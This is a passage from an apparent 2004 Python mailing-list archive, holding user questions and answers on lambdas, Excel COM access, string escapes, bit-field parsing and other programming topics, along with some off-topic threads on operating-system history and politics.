9, Prologue and probably everything else this > >>>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M). > >>>>> > >>>>> > >>>>> DOS 2.x+ shall be deemed to be CP/M+! > >>>> > >>>> > >>>> > >>>> Wasn't it in version 2 that they added directories and > >>>> Unix-style file handles ? > >>> > >>> > >>> Yes, and also a single-process pipe emulator. Ever since 2.0, MS has > >>> been trying to turn MS-DOS (later, Windows) into a Unix clone. > >> > >> > >> MS has been borrowing code from Unix to create a real OS: TCP/IP; > >> NTFS<-ffs; memory mapped files<-mmap. > >> Shame they keep trying to add their own ideas in too: that must be > >> what causes the crashes! > >> > > You seeem misinformed. > > Microsoft swallowed up a team from DEC. > > The were developing a operating system called PRISM. > > When the project was cancelled they quit DEC in protest. > > These peaple had more than a 100 years of experience in developing > > muliuser / > > mutitasking operating systems between them. The fact that the NT > > kernel is not > > entirely stable yet really shouldn't supprise anyone. Afterall Unix > > has messed with > > it's kernel for 30 years. But the modular arcitecture and the > > microkernel are new ideas in > > OS design and should in time lead to a more extensible OS than unix. > > uKernels are *NOT* a new idea at all. They weren't a new idea when > NT was unleashed on the world. What people think of as "NT" is a big > pile of shite that obscures the uKernel. Since the graphics stuff > got put into ring 0 I think that you could legitimately claim that > BSD Unix is more of a micro kernel than NT. :) > > > (Unix tradionally has a spagetti of intercalling function calls as a > > kernel.) > > Remember NeXTStep ? Yes. NeXTStep didn't have a microkernel. The Mach kernel didn't get changed to a microkernel design until after NeXTStep split off from it. -- Patrick From fumanchu at amor.org Thu Sep 16 11:19:36 2004 From: fumanchu at amor.org (Robert Brewer) Date: Thu, 16 Sep 2004 08:19:36 -0700 Subject: "Updating" lambda functions Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EE0@exchange.hqamor.amorhq.net> Oliver Fromme wrote: > I'm trying to write a Python function that parses > an expression and builds a function tree from it > (recursively). > > During parsing, lambda functions for the the terms > and sub-expressions are constructed on the fly. > Now my problem is lazy evaluation. Or at least I > think it is. :-) > > I need to "update" a lambda function, like this: > > fu = lambda x: x > ... > fu = lambda x: fu(x) + 17 > ... > fu = lambda x: fu(x) * 3 > > Of course that doesn't work, because fu is resolved > when the lambda is called, not when it's defined, so > I'll run into an endless recursion. > > My current solution is to define a helper function > which passes the lambda through its argument: > > def add_17 (fu): > return lambda x: fu(x) + 17 > > def mul_3 (fu): > return lambda x: fu(x) * 3 > > fu = lambda x: x > ... > fu = add_17(fu) > ... > fu = mul_3(fu) > > That works, but it strikes me as unclean and ugly. > Is there a better way to do it? Two approaches, both using bytecode hacks, so they are CPython-specific: One, if all your use cases are simple, wrap the lambda in an object, then override __mul__ and __add__, etcetera, for that object. Then write: >>> fu = Expression(lambda x: x) >>> fu2 = fu + 17 >>> fu2 Expression(lambda x: x + 17) >>> fu3 = fu2 * 3 >>> fu3 Expression(lambda x: (x + 17) * 3) See my http://www.aminus.org/rbre/python/logic.py for an example of wrapping lambdas. I override __add__ there to 'logical and' two expressions together, so that fu + fu2 => fu and fu2. Two, bind early. See http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/277940. That solution only binds globals, but you can extend it to handle function calls. Then special-case expr() inside the lambda, replacing it with the existing expression. See my http://www.aminus.org/rbre/python/codewalk.py for some examples of binding more, earlier. >>> fu = Expression(lambda x: x) >>> fu2 = Expression(lambda x: expr(fu) + 17) >>> fu2 Expression(lambda x: x + 17) >>> fu3 = Expression(lambda x: expr(fu2) * 3) >>> fu3 Expression(lambda x: (x + 17) * 3) Robert Brewer MIS Amor Ministries fumanchu at amor.org From ajsiegel at optonline.com Fri Sep 17 08:42:20 2004 From: ajsiegel at optonline.com (Arthur) Date: Fri, 17 Sep 2004 12:42:20 GMT Subject: [Python-Dev] Strawman decision: @decorator won't change References: <cibkl1$395$07$1@news.t-online.com> <E%y2d.3$Gn3.2@fe2.texas.rr.com> Message-ID: <15mlk0d63duukvnqtsrb4eguuldqd6ub2g@4ax.com> On Fri, 17 Sep 2004 10:28:52 GMT, "Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote: >"Peter Otten" <__peter__ at web.de> wrote in message >news:cibkl1$395$07$1 at news.t-online.com... >> I took the freedom to forward GvR's mail concerning decorator cosmetics. >> I think you should know about it. >> >> Peter >> >Why? Sounds like the same rigged rules as before. Who wants to burn up any >more cycles on this? snip >I and many others have offered our feedback (i.e., complained) that '@' is >an offense to the eye, a blot on Python's heretofore cleanness of syntax and >form, and implicit readability. '@' doesn't *mean* anything. At least '|' >brings a "pipe" semantic from Unix, or '^' evokes a "return" concept from >Smalltalk, or '>>' the notion of "stream" from C++. When I see '@', the >first thing I think of is e-mail, and the second thing I think of is an >invoice ("20 widgets @ $0.25 = $5.00"). > >So what? It all boils down to "I like 'X'", "Well, I like 'Y'", to "Thanks >for your feedback, the answer is '@'." And were it opened for debate you would run into bizarre arguments in its defense. Like mine. That there a mechanism in Python described by a arbitrary word, "decorator" and provoked by an arbitrary symbol '@' The symbol *works*, as a sore thumb and a tacit admission of something, It is defended in this view by its anti-esthetic. Having to put up with this kind of argument in its defense is perhaps a good reason to not re-open the discussion. Art From uthand at hotmail.com Fri Sep 17 02:28:21 2004 From: uthand at hotmail.com (Fritz Bosch) Date: 16 Sep 2004 23:28:21 -0700 Subject: wxPython Not Ready for Commercial Use References: <dcf37d82.0409160827.1de98db9@posting.google.com> <10kjq35q7n2q28e@corp.supernews.com> <59e9fd3a04091618344d2d1fa3@mail.gmail.com> <mailman.3429.1095385957.5135.python-list@python.org> Message-ID: <cf038e65.0409162228.6c232a80@posting.google.com> Paul McNett <p at ulmcnett.com> wrote: > Andrew Durdin writes: > > > I was recently involved in a project which required producing > > excel files programmatically (this was from VB *spew*). I > > started off using COM, but it turned out to be unreasonably > > slow for filling in all the cells that we needed to do; so > > instead we output an XML spreadsheet. It was much faster, and > > simpler in the end. > > I used COM to do an Excel spreadsheet once. It was pretty > complex and took an outrageous amount of processing time. And > then the client updated Excel and had to call me in because > something in the COM interface changed. > > I wonder if your XML method has a better chance of surviving > Excel "upgrades". I will certainly try to avoid COM in the > future. Each call of the COM interface is quite slow, but it seems to be larglely independent of the amount of data transferred in a call. So the solution seems to be to transfer large chunks at a time instead of individual cells: # get the content of an excel range as a list of lists data = my_excel_range.Value data = [list(row) for row in data] # manipulate the data inside python ... # transfer it back to excel in one go my_excel_range.Value = data It's quite easy to access the entire used range of a worksheet in this way: book = excelApp.Workbooks.Open(file_name) sheet = book.Sheets[sheet_name] my_excel_range = sheet.UsedRange fritz From jeff at ccvcorp.com Wed Sep 29 22:16:40 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 29 Sep 2004 19:16:40 -0700 Subject: constructing binary \n In-Reply-To: <mailman.4111.1096507693.5135.python-list@python.org> References: <mailman.4111.1096507693.5135.python-list@python.org> Message-ID: <10lmr0mk9ekud0d@corp.supernews.com> Steven Arnold wrote: > Is there a more elegant way to construct \[a-z] in a string than > something like: > > s = '\\n' > result = eval( "'%s'" ) % s > > Another ugly method would be to build a dict with all the different > special letters I want as keys, and their corresponding values as > values. Or I could have a huge if/elif structure. I can't make ord > work, because while ord( '\n' ) gives me a reasonable integer that I > can interpolate with %c, I don't have '\n', I have '\\n'. No, you actually *do* have '\n', the single byte that represents ASCII linefeed. >>> len('\n') 1 >>> len('\\n') 2 >>> ord('\n') 10 >>> ord('\\n') Traceback (most recent call last): File "<interactive input>", line 1, in ? TypeError: ord() expected a character, but string of length 2 found >>> for char in '\\n': ... print ord(char) ... 92 110 >>> Note that '\n' is a single byte, while '\\n' is two bytes. In the first case, '\n' is interpreted as the single LF byte. In the second case, '\\' collapses into a single backslash, giving you a backslash byte and a 'n' byte. When you type a string literal containing a backslash, if that backslash can combine with the following character to make a valid escape code, it *will* do so unless you've explicitly turned off escaping (by, e.g., using raw strings). Of course, if the combination is *not* a valid escape code, then the backslash and following character will be interpreted normally. Jeff Shannon Technician/Programmer Credit International From maspindler at yahoo.com Mon Sep 13 10:58:23 2004 From: maspindler at yahoo.com (Mike Spindler) Date: 13 Sep 2004 07:58:23 -0700 Subject: struct->bit access Message-ID: <3b6f60de.0409130658.1ab6ec67@posting.google.com> I am passing structs via UDP socket to my Python app from an external C program. The structure is made up almost entirely of bit fields. struct example: unsigned int var1 : 3; unsigned int var2 : 3; unsigned int var3 : 1; unsigned int pad1 : 1; unsigned int var4 : 8; unsigned int var5 : 16; Everything I've read so far says this is too complicated and slow for Python - write it in C. Can someone point me to a good example of extracting this and rebuilding using only Python? Thank you! -Mike From godoy at ieee.org Mon Sep 13 23:30:01 2004 From: godoy at ieee.org (Jorge Godoy) Date: Tue, 14 Sep 2004 00:30:01 -0300 Subject: string % dictionary question References: <ZFq1d.15197$QJ3.11816@newssvr21.news.prodigy.com> Message-ID: <m3zn3tr0hy.fsf@g2ctech.com> "Sam Sungshik Kong" <ssk at chol.nospam.net> writes: > Hello, group! > > <code> >>>> di={} >>>> di["test"]=None >>>> s="%(test)s" % di >>>> s > 'None' > </code> > > I want the result to be just empty string when the dictionary value is None. > Is there a good way? You can check it after the definition and make the necessary changes... >>> di={} >>> di["test"]=None >>> s="%(test)s" % di >>> if s == "None": s = "" ... >>> s '' >>> di["test"] = 1 >>> s = "%(test)s" % di >>> if s == "None": s = "" ... >>> s '1' >>> Be seeing you, -- Godoy. <godoy at ieee.org> From claird at lairds.us Fri Sep 24 23:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Sat, 25 Sep 2004 03:08:05 GMT Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) References: <mailman.3318.1095180577.5135.python-list@python.org> <278de0e.0409231337.1a032135@posting.google.com> <du7vfe37ovm.fsf@lehtori.cc.tut.fi> <278de0e.0409241501.3bbfabd4@posting.google.com> Message-ID: <763f22-pp.ln1@lairds.us> In article <278de0e.0409241501.3bbfabd4 at posting.google.com>, Neuruss <luismg at gmx.net> wrote: . . . >You don't have to be affraid because Finland has everything to be rich >and prosperous: a transparent political system, highly educated >people, respect for law and a honest society. And smoked herring. Why, someday Finland will be the kind of place where programmers will have the talent to produce even, say, operating systems. Disculpeme, Luis; it's hard to stay serious as we wander so far from the topic of Python (although I think I can, in a pinch, related smoked herring to Python). You are right, of course, that Finns can justly have pride and high expec- tations for their nation. From gerrit at nl.linux.org Tue Sep 28 03:18:46 2004 From: gerrit at nl.linux.org (Gerrit) Date: Tue, 28 Sep 2004 09:18:46 +0200 Subject: time In-Reply-To: <Ry46d.249396$4o.106779@fed1read01> References: <So36d.168361$3l3.52363@attbi_s03> <Ry46d.249396$4o.106779@fed1read01> Message-ID: <20040928071846.GB8719@nl.linux.org> Steve Holden wrote: > Bryan wrote: > > >can someone explain to me why i get different values for the tm_yday and > >tm_isdst values? > > > > >>> import rfc822 > > >>> rfc822.parsedate('Mar 1 01:03:59 2004') > >(2004, 3, 1, 1, 3, 59, 0, 0, 0) > > > > >>> import time > > >>> time.strptime('Mar 1 01:03:59 2004', '%b %d %H:%M:%S %Y') > >(2004, 3, 1, 1, 3, 59, 0, 61, -1) > > > The trivial answer is "because of differences in the modules". Your > question is a bit like asking "Why is the sky today not the same color > as it was yesterday?" See also: http://www.python.org/sf/748843 Gerrit. -- Weather in Twenthe, Netherlands 28/09 08:55: 15.0?C mist overcast wind 4.0 m/s SW (57 m above NAP) -- In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex. The potential for the disastrous rise of misplaced power exists and will persist. -Dwight David Eisenhower, January 17, 1961 From peter at engcorp.com Mon Sep 13 22:36:10 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 Sep 2004 22:36:10 -0400 Subject: directories problem In-Reply-To: <JAs1d.50$znk1.41@news04.bloor.is.net.cable.rogers.com> References: <ci5jf2$t60$1@mughi.cs.ubc.ca> <JAs1d.50$znk1.41@news04.bloor.is.net.cable.rogers.com> Message-ID: <_66dnRiFcJCGxNvcRVn-pA@powergate.ca> Dan Perl wrote: > I'm not sure whether this is what Lowell is looking for, but I've been > looking at a similar problem and I would also like to see a solution for > that: can a python script know its own full path name? See near the end of this thread: http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com Also note that scripts other than the main one can do it even more easily: __file__, or if that's not always an absolute path, os.path.abspath(__file__). -Peter From matt.gerrans at hp.com Thu Sep 23 12:28:04 2004 From: matt.gerrans at hp.com (Matt Gerrans) Date: Thu, 23 Sep 2004 16:28:04 GMT Subject: win32com - .ocx won't Dispatch... References: <mailman.1004.1075413376.12720.python-list@python.org><mailman.962.1075345407.12720.python-list@python.org><mailman.1004.1075413376.12720.python-list@python.org> <mailman.1064.1075508159.12720.python-list@python.org> Message-ID: <oQC4d.11547$r87.1631@news.cpqcorp.net> Additionally, you might test with other tools like JScript (or VBScript) a little ATL program in C++, Microsoft's ActiveX Control Test Container, or C#. If it needs a window, the JScript/VBScript/ATL will probably fail similarly. In C#, it is pretty easy to put it an ActiveX control on a form, or create it independently so you could easily test whether that's the problem. By the way, it sounds like maybe you really wanted to create a COM automation server instead of an ActiveX control (if you don't expect or require it to be on a window or form). From carribeiro at gmail.com Thu Sep 23 07:41:38 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 08:41:38 -0300 Subject: Why not FP for Money? In-Reply-To: <cc887c1d.0409222103.388c40de@posting.google.com> References: <mailman.3721.1095866067.5135.python-list@python.org> <cc887c1d.0409222103.388c40de@posting.google.com> Message-ID: <864d3709040923044175368fe6@mail.gmail.com> On 22 Sep 2004 22:03:43 -0700, Chris Barker <barkmann at gmail.com> wrote: > ... Personally, thinking of money it > terms of significant digits would be fine with me. Is there really any > point in keeping track of the pennies when talkin gof trillions of > dollars? In Brazil, there is tax for money transfers (all transfers to, from and between accounts). It's 0.38% of each operation. Some operations are really smal, just a few reals, and the tax is measured in cents. For big operations -- those in the range of millions -- the tax gets bigger, but still manageable. But when you sum up all the transfers, the sum has to be exact to the cent. Imagine if you sum all transfers done in one year, for accounting purposes. The number is really big -- in the order of billions. But the sum has to be precise to the cent. (Ok, it's not trillions -- I'm only showing you and example of a situation that stress the limits of numeric precision) > """ > Beware! Floating point errors may bite you *even for non-fractional > numbers* > """ > > I tried to address that in the OP. 64 bit IEEE FP carries a lot of > digits! This isn't an issue till you get to quadrillions of dollars. > The same issue comes up if you use standard integers, though then you > will get overflow instead. If not handled right, that could REALLY > give strange results! Fortunatly Python now automatically rolls over > to long integers. ... and ... > One interesting distiction here: binary vs. decimal and floating point > vs. fixed point are orthoganal concepts that have been mingled here. > Alex pointed out that decimal floating point has the same problems as > binary as far as accuracy is concerned. You're right. When I made my comment about floating point errors for non-fractional numbers, I didn't made this distinction. Normally, when I think about a money type, I don't think about floating point decimal, I think about fixed point. Now that we are talking about money types, I had an idea some time ago and I would appreciate to hear some opinions. What do you think about using a different notation for fixed point decimal literals in Python, using the $ sign, as in: a) $1.0000 --> fixed point decimal, four digits of precision b) 1$0000 -> alternative syntax, also with four digits and operations would also be easier to write, with type coercion, etc: $1.00 + 0.99212 --> $1.99 (rounded) That would make easy to supply fixed point literals. And I dont think that the use of a symbol, in this case, is a case of Perlish contamination -- even in countries where the money sign is different, I think that most programmers would readily recognize the $ sign for it. How about it? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Mon Sep 13 22:50:41 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Tue, 14 Sep 2004 02:50:41 -0000 Subject: Xah Lee's Unixism References: <u0o4ic.bgh.ln@via.reistad.priv.no> Message-ID: <10kcn41im0ua990@corp.supernews.com> # It may actually have worked with Libya; who consiquosly have changed # sides to want friendly terms with the west, and is making a serious # effort to reform. They also had far more WMD's in the pipeline than # Saddam probably ever had. THAT was a surprise. Libya has been changing for a long time. As Qaddify ages and hears the flutterring wings of the Angel of Death, he has evolved from fiery revolutionary sending out terrorists from the safety of his bunker, to a fledging statesman organising a peaceful and orderly Africa. Libya's biological and chemical warfare research was too expensive with too little return, so it was being shut down anyway due to finances. He wants all embargos ended, trade fully resumed, his people happy enough to stop trying to kill him, and to go down in history books as a great leader. It's been going along for a long time. I doubt it was less about fear of an attack, and more about political opportunism in both Libya and the USA. -- SM Ryan http://www.rawbw.com/~wyrmwif/ She broke your heart and inadvertendently drove men to deviant lifestyles. From ian at cottee.org Mon Sep 27 13:29:25 2004 From: ian at cottee.org (Ian J Cottee) Date: Tue, 28 Sep 2004 02:29:25 +0900 Subject: Emacs + python (Was Re: python is going to die! =() In-Reply-To: <87hdprv3qd.fsf_-_@ion.xlipstream.com> References: <mailman.3520.1095631846.5135.python-list@python.org> <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <rwJ3d.1000$g42.675@newsread3.news.pas.earthlink.net> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: <e8vl22-upr.ln1@suse.zobbo.org> Chris Green wrote: > Andrew Dalke <adalke at mindspring.com> writes: > http://cedet.sourceforge.net/semantic.shtml is a project working on > the backend parsing to be able to be at the point where that context > sensitive dynamic completions can happen ( well, as well as they could > in python ). And don't forget the excellent Emacs Code Browser - http://ecb.sourceforge.net, which utilises cedet. From the web page: "ECB stands for "Emacs Code Browser". While Emacs already has good editing support for many modes, its browsing support is somewhat lacking. That's where ECB comes in: it displays a number of informational windows that allow for easy source code navigation and overview." Works great with Python Ian From aahz at pythoncraft.com Thu Sep 16 13:07:38 2004 From: aahz at pythoncraft.com (Aahz) Date: 16 Sep 2004 13:07:38 -0400 Subject: Steve Holden: mail problem? (was Re: list/tuple to dict...) References: <20040915163909.4234ce31@gypsy.pfortin.com> <Zmg2d.5818$Xc.5455@lakeread01> <4149982B.1080406@engcorp.com> <1Dh2d.5820$Xc.5095@lakeread01> Message-ID: <cich8q$hke$1@panix1.panix.com> In article <1Dh2d.5820$Xc.5095 at lakeread01>, Steve Holden <steve at holdenweb.com> wrote: > >I've changed my Reply-to address now - thanks! No, you didn't. ;-) Did you mean that you've changed your From: line? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From chiriones at yahoo.com Wed Sep 1 23:39:58 2004 From: chiriones at yahoo.com (Steve Allgood) Date: 1 Sep 2004 20:39:58 -0700 Subject: age of Python programmers References: <jQHUc.1529$2L3.505@newsread3.news.atl.earthlink.net> Message-ID: <e33c37bb.0409011939.4bbc8975@posting.google.com> I'm 36. I use it for web scripts. I love the simplicity of the syntax and the power of the language. ~Steve Allgood From ville at spammers.com Tue Sep 7 14:06:52 2004 From: ville at spammers.com (Ville Vainio) Date: 07 Sep 2004 21:06:52 +0300 Subject: How to actually write a program? References: <chano0$1gv$1@sparta.btinternet.com> <mailman.2916.1094457850.5135.python-list@python.org> <O9GdnTcSZLeCcaHcRVn-oA@powergate.ca> Message-ID: <du7u0uagdhf.fsf@amadeus.cc.tut.fi> >>>>> "Peter" == Peter Hansen <peter at engcorp.com> writes: Peter> Ahhh!!! Run away some more! UML and XP are nearly Peter> anti-thetical. Don't even consider going there. (Well, Peter> consider it, but please don't waste any money buying a UML Peter> book as you do. Find a few web sites, then ... run away! Peter> It's cheaper that way.) There should really be a pythonic alternative to UML. I'm talking about a textual format that can be rendered to pretty graphical diagrams for PHBs/project managers to drool at. Text format would be easy to edit with just an editor, it would be version-controllable, scriptable, blah blah. I bet a lot of anti-UML attitude can be attributed to the clumsy, non-programmery process that manipulating UML images graphically involves. I'd like to "draw" sequence diagrams like: object user, slot,sensor, beeper user - slot insertCoin(0.20) slot - sensor report(1,0.20) sensor - beeper trigger() user - slot insertCoin(0.20) ... etc. Then I could easily insert new stuff retroactively by just editing the file, without having to load the thing into some horrible bloated expensive peace of (krhm) software that breaks the image into irrepairable mess by just having the user click on the wrong widget. -- Ville Vainio http://tinyurl.com/2prnb From lynn at garlic.com Thu Sep 9 09:42:20 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 09 Sep 2004 07:42:20 -0600 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <opsdxecgt8pqzri1@mjolner.upc.no> <t7mjhc.ubd.ln@via.reistad.priv.no> <uisaoutfz.fsf@mail.comcast.net> <slaphc.beh1.ln@via.reistad.priv.no> Message-ID: <u1xhbv9s3.fsf@mail.comcast.net> Morten Reistad <firstname at lastname.pr1v.n0> writes: > It was an upgrade from 56k. The first versions of NSFnet was not > really scalable either; noone knew quite how to design a erally > scalable network, so that came as we went. we had a project that i called HSDT http://www.garlic.com/~lynn/subnetwork.html#hsdt for high-speed data transport ... to differentiate from a lot of stuff at the time that was communication oriented ... and had real T1 (in some cases clear-channel T1 w/o the 193rd bit) and higher speed connections. It had an operational backbone ... and we weren't allowed to directly bid NSFNET1 .... although my wife went to the director of NSF and got a technical audit. The technical audit summary said something to the effect that what we had running was at least five years ahead of all NSFNET1 bid submissions to build something new. one of the other nagging issues was that all links on the internal network http://www.garlic.com/~lynn/subnetwork.html#internalnet had to be encrypted. at the time, not only were there not a whole lot of boxes that supported full T1 and higher speed links ... but there also weren't a whole lot of boxes that support full T1 and higher speed encryption. a joke a like to tell ... which occured possibly two years before the NSFNET1 RFP announcement ... was about a posting defining "high-speed" .... earlier tellings: http://www.garlic.com/~lynn/94.html#33b High Speed Data Transport (HSDT) http://www.garlic.com/~lynn/2000b.html#69 oddly portable machines http://www.garlic.com/~lynn/2000e.html#45 IBM's Workplace OS (Was: .. Pink) http://www.garlic.com/~lynn/2003m.html#59 SR 15,15 http://www.garlic.com/~lynn/2004g.html#12 network history -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From tungwaiyip at yahoo.com Thu Sep 2 12:18:22 2004 From: tungwaiyip at yahoo.com (Wai Yip Tung) Date: Thu, 02 Sep 2004 09:18:22 -0700 Subject: read lines without the line break character at the end? Message-ID: <opsdpjkwte433nmu@news.cisco.com> When I do for line in fp: the line string usually has a '\n' at the end. In many cases I don't want the line break character. I can trim it using if line.endswith('\n'): line = line[:-1] Given I do it so frequently I wonder if there is some builtin way to say I don't wnt the line break character? Thanks, tung From ipellew at pipemedia.co.uk Wed Sep 22 18:41:35 2004 From: ipellew at pipemedia.co.uk (Ian Pellew) Date: 22 Sep 2004 15:41:35 -0700 Subject: Mod_Python apache question. Message-ID: <30875970.0409221441.1a95eac5@posting.google.com> Hi all; Am I correct in thinking that Mod_Python simply executes Python scripts from the server side using an internal Apache python engine? Can a web page have Python script embedded in it like Java as well? Regards Ian From sjdevnull at yahoo.com Thu Sep 30 15:22:52 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 30 Sep 2004 12:22:52 -0700 Subject: thread execution order References: <cjh1hd$rek$03$1@news.t-online.com> <STT6d.25$Za.8@llslave.llan.ll.mit.edu> <cjh4nb$opt$05$1@news.t-online.com> Message-ID: <96c2e938.0409301122.29cf480c@posting.google.com> "Axel Mittendorf" <newsreply at transfertech.de> wrote in message news:<cjh4nb$opt$05$1 at news.t-online.com>... > "Rembrandt Q Einstein" wrote: > > I wouldn't do this with threads. I'd use select() or similar to see if > > the pipe is writable and if it isn't, buffer internally. > I thought about something like this too, but since I'm not allowed to > use some kinda timer to write out the pending data I can't it that way. > Therefor I wondered to use threads. You shouldn't need a timer to do it with select(). That's how I'd do it too. From ssk at chol.nospam.net Tue Sep 14 00:20:08 2004 From: ssk at chol.nospam.net (Sam Sungshik Kong) Date: Tue, 14 Sep 2004 04:20:08 GMT Subject: string % dictionary question References: <ZFq1d.15197$QJ3.11816@newssvr21.news.prodigy.com> <m3zn3tr0hy.fsf@g2ctech.com> Message-ID: <Xju1d.15262$QJ3.6646@newssvr21.news.prodigy.com> Thanks for the reply. What if the string is more complicated? For example, di = {} di["name"] = "Sam" di["age"] = None s = "name: %(name)s, age: %(age)d" % di Thanks. Sam "Jorge Godoy" <godoy at ieee.org> wrote in message news:m3zn3tr0hy.fsf at g2ctech.com... > "Sam Sungshik Kong" <ssk at chol.nospam.net> writes: > > > Hello, group! > > > > <code> > >>>> di={} > >>>> di["test"]=None > >>>> s="%(test)s" % di > >>>> s > > 'None' > > </code> > > > > I want the result to be just empty string when the dictionary value is None. > > Is there a good way? > > You can check it after the definition and make the necessary changes... > > >>> di={} > >>> di["test"]=None > >>> s="%(test)s" % di > >>> if s == "None": s = "" > ... > >>> s > '' > >>> di["test"] = 1 > >>> s = "%(test)s" % di > >>> if s == "None": s = "" > ... > >>> s > '1' > >>> > > > Be seeing you, > -- > Godoy. <godoy at ieee.org> From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Fri Sep 17 05:57:26 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Fri, 17 Sep 2004 11:57:26 +0200 Subject: VBScript does exactly what you want References: <2d8097ee.0409170130.448cd351@posting.google.com> Message-ID: <ciecdf$pnf$1@news-reader1.wanadoo.fr> Cool ! And it's free ? From claird at lairds.us Sat Sep 25 16:08:25 2004 From: claird at lairds.us (Cameron Laird) Date: Sat, 25 Sep 2004 20:08:25 GMT Subject: Don't let your babies grow up to be programmers References: <mailman.3318.1095180577.5135.python-list@python.org> <1gknx0k.m09llxutwktbN%aleaxit@yahoo.com> <g66g22-hrr.ln1@lairds.us> <1gkonog.zqrla7f82ydaN%aleaxit@yahoo.com> Message-ID: <9bsg22-qsd.ln1@lairds.us> In article <1gkonog.zqrla7f82ydaN%aleaxit at yahoo.com>, Alex Martelli <aleaxit at yahoo.com> wrote: >Cameron Laird <claird at lairds.us> wrote: > ... >> "Globalization" just advertising for a refinement of imperialism? >> Of course not, to those of us fundamentally aligned with the >> progressivism on display in, to echo your example, *The Econo- > >Amartya Sen's book is another excellent display of that "of course not". > >Some people have taken Stiglitz's and Sen's books as "warring >Nobel-laureate economists con vs pro globalisation", but that's silly. >Rather, Stiglitz focuses more on some ugly aspects of what parts of the >globalisation process have actually BEEN; Sen, more on the sunny parts >and on what they COULD and SHOULD be. > >I'm sure Sen and Stiglitz actually agree on FAR more than what they >disagree on -- unfortunately, it's likely to be stuff the average >street-demonstration participant, laid-off worker, or elected politician >can't possibly understand, unless they take a few years off to get the >needed background, starting with differential equations and moving up >from there;-). > >> I struggle to bring this all back on-topic. Mention of <URL: >> http://www.pbs.org/cringely/pulpit/pulpit20040923.html > is my >> current attempt. > >Tx for the pointer. DMCA _is_ truly scary. OTOH, one _can_ devotely >pray that MS is overplaying their hand, just like IBM did not all THAT >long ago with their proprietary "token rings", OS/2, and >"microchannels"... IBM almost managed to destroy _itself_ that way, >though Gerstner was there to save it from the brink... > >And yes, if emerging third-world nations aren't making sure there's Open >Source for everything they can possibly need, the only explanation must >be the high level of corruption in their polities. It's the only >sensible strategy on any political and economic plane, after all. > > >Alex Exactly. Well, there's much to talk over--I suspect we both agree, for example, that IBM has other profound structural challenges--but let me summarize my response to reference to Sen, DMCA, and so on with this explicit assertion: one of the great cruelties afoot is that "globalization" and development are widely regarded as syno- nyms for "compliance with IMF dictates". We know, of course, that the possibilities in the world are far richer than this, and that the true high fliers will be the people and peoples who make their own ways in the world. Think, in our own narrow domains, of Linux and Guido and now Miguel and .... From greg.lindstrom at novasyshealth.com Wed Sep 8 13:59:57 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Wed, 8 Sep 2004 12:59:57 -0500 Subject: Machine identification Message-ID: <01f101c495cd$a786cc40$054b12ac@D18SYX41> How can I get the name (or ip) of the machine where my python script is running? I'd like to add it to my log entry. Thanks, --greg Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. From godoy at ieee.org Wed Sep 1 15:11:04 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 01 Sep 2004 16:11:04 -0300 Subject: I think a problem occured when i used long() References: <8f17f4bc.0409011101.5ace996@posting.google.com> Message-ID: <m31xhleref.fsf@g2ctech.com> alikakakhel3 at hotmail.com (Ali) writes: > I did the folloing in python shell: > >>>> x = 5.07e-25 >>>> x = long(x) >>>> print x > 0L > > Um... I was under the impresion that long numbers had very very long > precision. But, it seems that in this case it rounded it to zero :( > > Please Help. Thank you :) Isn't "long" a long integer? ;-) >>> help(long) class long(object) | long(x[, base]) -> integer | | Convert a string or number to a long integer, if possible. A floating | point argument will be truncated towards zero (this does not include a | string representation of a floating point number!) When converting a | string, use the optional base. It is an error to supply a base when | converting a non-string. (...) So, converting a float to an integer should really truncate the result, as is in the documentation. Sds, -- Godoy. <godoy at ieee.org> From FBatista at uniFON.com.ar Tue Sep 14 10:27:53 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Tue, 14 Sep 2004 11:27:53 -0300 Subject: Style conventions for Python code Message-ID: <A128D751272CD411BC9200508BC2194D053C7956@escpl.tcp.com.ar> [Will McGugan] #- Is there a recommended coding style for Python documented anywhere? Read the PEP 8 (Style Guide for Python Code) at http://www.python.org/peps/pep-0008.html. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040914/b2fdc805/attachment.html> From aaron.ginn at freescale.com Mon Sep 20 12:47:04 2004 From: aaron.ginn at freescale.com (Aaron Ginn) Date: Mon, 20 Sep 2004 09:47:04 -0700 Subject: Python as alternative to Visual Basic Message-ID: 